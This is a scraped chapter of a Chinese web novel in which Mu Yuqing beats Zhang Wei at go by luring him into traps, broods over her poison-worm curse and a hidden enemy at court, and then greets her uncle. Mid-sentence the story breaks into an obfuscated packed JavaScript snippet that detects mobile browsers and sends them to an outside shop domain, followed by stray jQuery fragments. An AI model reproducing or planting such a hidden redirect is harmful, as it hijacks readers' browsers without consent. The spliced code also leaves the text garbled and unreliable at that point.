文趣网 > 其他小说 > 拾梦玉 > 36. 贺祝
    张圩猜先赢了,慕玉青执白。

    棋局很快铺陈开来,两人有来有回,一时间只闻棋子落盘声和风过叶簌声,抱酥和芙儿分别站在慕玉青两侧看着。

    抱酥这几年也没闲着,身为慕玉青身边的一等大丫鬟,谢氏说她要学的东西可多,让她跟着傅家里规训丫鬟的教习嬷嬷学了不少东西,这棋面她还是能看得出谁占上风的。

    还没下多久,张圩那一边已经将白子蚕食大半。

    抱酥见状不由得皱起眉,小姐这被压着打得也太难看了吧,得亏一开始没同张公子赌什么,还有这张公子竟一点也不怜香惜玉,也不知让着小姐一点。

    虽然她并不觉得自家小姐输了会哭鼻子,只是她再见慕玉青后,抱酥就没见过慕玉青不擅长什么,她心里还是觉得慕玉青无所不能。

    张圩将对面人的棋子围了个死,已成竹在胸,但瞧对面人云淡风轻,一点都不急躁的样子,他心中逐渐起惑,处于劣势,她竟一点也不慌乱?

    就见她又暴露出一个致命破绽,张圩只思考了一瞬,毫不留情地落下杀招。

    棋面都走到这了,白子败局已定。

    芙儿同情地看了慕玉青一眼,却见她嘴角噙着一抹邪笑。芙儿跟着慕玉青十几天了,从未见过慕玉青脸上有过这种表情,见状不由得重新打量起这一边倒的棋面来。

    张圩不想再耗下去,打算速战速决了,他越下越快,黑子的优势更甚,他落黑又走了几步,渐渐发觉不对劲起来。

    眼下看着是黑压白,但他多年棋弈的经验莫名警醒着他,白棋好似无由地转失为势了。

    张圩手中棋子要落不落,慕玉青悠闲地抿了口茶等他。

    张圩垂头苦索了约莫半柱香的功夫,才蹙眉犹豫落下黑子,紧接着,慕玉青快速点下一白,下一刻,张圩左下方那大片区域棋子便被她尽收入囊。

    张圩眼睛睁大,吃了不小一惊,但他很快回神思索对策。可棋盘不知何时已经成了无底洞,他怎么也补不上,只有往里陷的份了。

    他攻守皆失的时候,她已经掠池夺城,将他杀了个片甲不留,白子持平反超,反败局为定局了。

    抱酥眼瞪得极大,芙儿嘴微微张着,两人都被这突如其来的翻转惊住了。

    原来慕玉青从一开始就在布陷阱,用破绽诱敌往坑里跳,步步都是算计,一着不起眼,三劫伏深渊。

    张圩眉头深深皱了起来,黑子捏在手中踟蹰不决,末了叹了口气,“我输了,心服口服。”

    他扬唇一笑,没有丝毫输家的气馁,看着反倒有几分雀跃,看向慕玉青的眼神多了几分钦佩。

    慕玉青也笑了,“承让承让。”她毕竟也许久没这么算计过人了,下着下着竟也有些激越。

    张圩指了指开始满布,到如今半空,白子占势的棋面,“都说棋品如人品,慕娘子这可不厚道啊。”

    她给他使了好大几个绊子,张圩冲开扇子扇了扇风,似是在平息怒火。

    慕玉青笑了笑,气死人不偿命地挑眉道:“兵不厌诈。”

    张圩转言就道:“张某可不会行兵打仗,打不过娘子也不奇怪了。”

    慕玉青瞧他左手持扇,刚刚他下棋饮茶也都是用的左手,竟是个左撇子。

    思及此,慕玉青嘴边笑意一凝,右手食指无故动了动。

    张圩扇了会儿风,见面前女子微微垂头,眼睛定定落在棋面某处,一眨不眨,似是陷入了某种回忆。

    是他的错觉吗?怎么感觉这位慕娘子不大开心的样子,可她都赢了他。

    张圩朗声道:“这招先凿置清坑,再诱敌入杀,无论是静待他毙的隐忍不发还是布局缜密的算无遗策,在下都佩服,心服口服,慕姑娘足智多谋,怕是再难的事在你这里都不算事。”

    慕玉青闻言苦笑,“倒也不尽然。”

    尽管不愿承认,可不安和恐惧一直萦绕在她心中,从未停歇。

    她现在已经知道了是京中某位贵人要害她,那人也许是朝中哪位高官权臣,也许是皇宫中哪位皇孙贵胄。

    她此次回京,离那人就更近了些,敌暗我明的情况下,那人又会使出怎样的手段对付她?

    她体内虫蛊还未解,这是扎在她心中最深的那根刺,短短两年,她还能找到解蛊之法么?

    她不确定,她的前路一片渺茫。

    慕玉青素来不是情绪外露的人,多年的山上生活也鲜少有引她情绪不稳的事情,可她也不知今日是怎么了,也许是痛痛快快地杀了一盘棋后失了警惕,心绪一松,竟有些失态了。

    张圩暗忖,他没看错,这位慕娘子心情就是突然不好了。

    他不由得放缓声:“你虽一开始屡屡挫败,但走到后面不也绝处逢生了?”

    闻言,慕玉青摇头失笑,“公子大度,竟还反过来安慰我。”她和佘毓下棋,输了佘毓就笑话她。

    “都说棋赢一局,路开千条,我看人的眼光准不会错。”

    慕玉青不由得抬头看他,他以为她是在为前面的极惨劣势而惆怅不展,所以在开导她,可明明他才是输子的那一个,思及此,她忽然觉得自己好矫情。

    这样想着,慕玉青眸中深霾消散了点,多了些实实在在的感激。

    因他的一点善意,她剥开愁云,也想明白了,前方是仇人也好,是既定的死亡也罢,她都得咬牙往前走,这由不得她选。

    “我以茶代酒,先贺祝慕姑娘往后日子如今日这场棋局,先苦后甜,过程虽波折凶险但终将大获全胜,往后必定顺顺利利,万事顺遂。”他举杯冲着她笑道。

    慕玉青看着他,一时愣住了,夏风席席拂过,吹得桂花树枝摇曳不息,树下棋盘上投下斑驳碎光,树荫下少年的脸被映得朗朗如星,风中还夹杂着好闻的桂馥兰香,萦绕她鼻尖不散。

    山上日子枯燥无味,她大多时候都只顾着埋头学医,给自己瞧病,采药做药,一日三餐。

    在麓山上,甚至有时候连新岁都会忘记,就算记得,也常是石娃做一桌好菜,章九拿出他珍藏多年的好酒来庆祝,不过大家抬头不见低头见的,也不会说什么祝新词,毕竟都在酒水里了,所以慕玉青还是头一回听见这么直接的祝愿,一时不知作何反应。

    她不好意思笑起来,“多谢你,也祝你心想事成。”

    张圩见她终于眉眼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661211|207173||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    舒展笑了,心里就松了口气。

    抱酥候在一旁,看看这个看看那个,挠了挠脑袋,终究没吭声。

    也许因此事一打诨,两人也熟稔起来了,说话也松快了些。

    张圩问她:“慕姑娘有些路数很像蜀地那位佘毓佘夫子的。”

    佘毓入职翰林院,典掌科举时,众人艳煞不已,但佘毓最出名的还是他的棋艺,世人都称他枰道无双,有幸同他下棋的人都会记录下他的残局棋谱,再编成书,广为人传,估计张圩也是看过佘毓的一些棋谱成书的。

    “幼时有幸得过佘夫子的一番指点。”

    佘毓从翰林院甩手递上辞呈后,众人皆大吃一惊,也都很关注佘毓的后续去向,听闻他在百山书院任夫子,如此淡名泊利一举,大家也都不约而同尊称他一声佘夫子。

    张圩吃惊,恍然大悟,“怪不得。”

    不过他也没有多问名动四方的佘夫子为什么来指点她,估计是和傅家有些亲戚关系的。

    “部分棋路有些像罢了,其余大部分都是不像的,尤其是棋风。”他语气淡淡,意在西而言东,分明是在指摘什么。

    慕玉青露齿一笑,佘毓乃君子,下棋哪像她这样黑心肝,工于算计。

    树荫底下多了一道爽朗笑声,“聊着呢?”

    正是傅家二老爷傅壮。

    坐着的两人纷纷起身给他行礼问安,

    “舅舅。”

    “傅老爷。”

    张圩的父亲张同和傅壮乃至交,他自幼也得过傅壮不少支持鼓励,所以在傅壮面前毫不拘谨。

    他拍了拍跟在傅壮身后傅言轩的肩头,“你刚刚输的棋,你妹妹给你赢回来了。”

    傅壮闻言喜出望外,“哟,阿拾赢了!”

    慕玉青语调上扬地嗯了一声,她雪腻的下巴扬了扬,带着几分骄矜小意。

    傅言轩闻言很是吃惊,他这位好友下棋可从来就没有让人的习惯,看来真的是他妹妹赢了,不过张圩居然输了?傅言轩不由得多看了他这位表妹几眼。

    傅壮粗黑如墨的眉皱着,沉声对张圩道:“怕不是你让着她的?”

    傅壮为人耿直,在他看来,让棋是极不尊重对手的行为。

    张圩笑道:“怎么会,是我输了。”

    傅壮点了点头,拍了拍张圩的肩,似是安慰,但其实人家傅二老爷一点儿不在乎输赢,他在意的是,不消他安排,二人就遇上了,还这么聊得来,看来二人本就有缘,此乃天意啊!

    傅壮哈哈大笑,捏了捏张圩的肩骨,转头对傅言轩道:“晚上把文逐也叫过来喝两杯。”他预备瞧瞧二人酒量如何,复又转头看着慕玉青,“阿拾你也来两杯。”

    傅言轩闻言十分无奈:“妹妹哪能喝爹您喝的酒?”

    傅二老爷大手一挥,“你别管,先随我去挖。”说着撩袍欲走。

    却被慕玉青叫住了,“舅舅,阿拾有事找您商量。”本来傅言轩也得去的,此事本就跟他有关,但有客人在这,总得留人招待。

    傅壮唔了一声,对傅言轩道:“你是亲眼见着我埋酒的,你和阿圩去把那坛酒挖出来。”仍是不忘他的席面。